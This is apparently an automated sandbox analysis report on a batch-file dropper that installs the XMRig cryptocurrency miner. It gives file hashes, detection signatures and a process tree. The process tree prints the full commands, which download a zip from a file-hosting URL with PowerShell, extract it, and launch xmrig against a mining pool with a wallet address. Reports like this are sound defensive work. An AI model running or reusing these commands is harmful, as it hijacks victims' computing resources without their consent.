Analysis

  • max time kernel
    1796s
  • max time network
    1802s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/10/2023, 18:23

General

  • Target

    tesy - Copy (12).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3872
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1664
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1392
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1948
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:3984

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          2f57fde6b33e89a63cf0dfdd6e60a351

          SHA1

          445bf1b07223a04f8a159581a3d37d630273010f

          SHA256

          3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

          SHA512

          42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          08f9f3eb63ff567d1ee2a25e9bbf18f0

          SHA1

          6bf06056d1bb14c183490caf950e29ac9d73643a

          SHA256

          82147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0

          SHA512

          425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_egpz20u5.br4.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\test1.zip

          Filesize

          3.2MB

          MD5

          95452958f42b1b93f0c887f59d84d19f

          SHA1

          c861dc457d57471ab42879f49cc8fe171e7c9b1c

          SHA256

          dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255

          SHA512

          96207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

          Filesize

          278B

          MD5

          080123b6eac4a332d3f2b11f6eb3aa54

          SHA1

          8f3d40eae881e3b871cff2aa85521d727ada2a64

          SHA256

          cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

          SHA512

          0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

          Filesize

          7.9MB

          MD5

          4813fa6d610e180b097eae0ce636d2aa

          SHA1

          1e9cd17ea32af1337dd9a664431c809dd8a64d76

          SHA256

          9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

          SHA512

          5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

        • memory/1392-29-0x0000025B1AA40000-0x0000025B1AA50000-memory.dmp

          Filesize

          64KB

        • memory/1392-31-0x0000025B1AA10000-0x0000025B1AA22000-memory.dmp

          Filesize

          72KB

        • memory/1392-32-0x0000025B1A9F0000-0x0000025B1A9FA000-memory.dmp

          Filesize

          40KB

        • memory/1392-41-0x00007FFFAC830000-0x00007FFFAD2F1000-memory.dmp

          Filesize

          10.8MB

        • memory/1392-19-0x0000025B1AA40000-0x0000025B1AA50000-memory.dmp

          Filesize

          64KB

        • memory/1392-18-0x00007FFFAC830000-0x00007FFFAD2F1000-memory.dmp

          Filesize

          10.8MB

        • memory/1664-0-0x000001DCA8540000-0x000001DCA8562000-memory.dmp

          Filesize

          136KB

        • memory/1664-10-0x00007FFFAC830000-0x00007FFFAD2F1000-memory.dmp

          Filesize

          10.8MB

        • memory/1664-11-0x000001DCA7C80000-0x000001DCA7C90000-memory.dmp

          Filesize

          64KB

        • memory/1664-12-0x000001DCA7C80000-0x000001DCA7C90000-memory.dmp

          Filesize

          64KB

        • memory/1664-16-0x00007FFFAC830000-0x00007FFFAD2F1000-memory.dmp

          Filesize

          10.8MB

        • memory/3984-70-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-80-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-47-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-48-0x000001375DEF0000-0x000001375DF10000-memory.dmp

          Filesize

          128KB

        • memory/3984-49-0x000001375DF10000-0x000001375DF30000-memory.dmp

          Filesize

          128KB

        • memory/3984-50-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-51-0x000001375DEF0000-0x000001375DF10000-memory.dmp

          Filesize

          128KB

        • memory/3984-52-0x000001375DF10000-0x000001375DF30000-memory.dmp

          Filesize

          128KB

        • memory/3984-53-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-54-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-55-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-56-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-57-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-58-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-59-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-60-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-61-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-62-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-63-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-64-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-65-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-66-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-67-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-68-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-69-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-45-0x000001375C5A0000-0x000001375C5C0000-memory.dmp

          Filesize

          128KB

        • memory/3984-71-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-72-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-73-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-74-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-75-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-76-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-77-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-78-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-79-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-46-0x000001375C5F0000-0x000001375C630000-memory.dmp

          Filesize

          256KB

        • memory/3984-81-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-82-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-83-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-84-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-85-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-86-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-87-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-88-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-89-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-90-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-91-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-92-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-93-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-94-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-95-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-96-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-97-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-98-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-99-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-100-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-101-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-102-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-103-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-104-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-105-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-106-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-107-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-108-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-109-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-110-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-111-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-112-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB

        • memory/3984-113-0x00007FF7A32A0000-0x00007FF7A3DA3000-memory.dmp

          Filesize

          11.0MB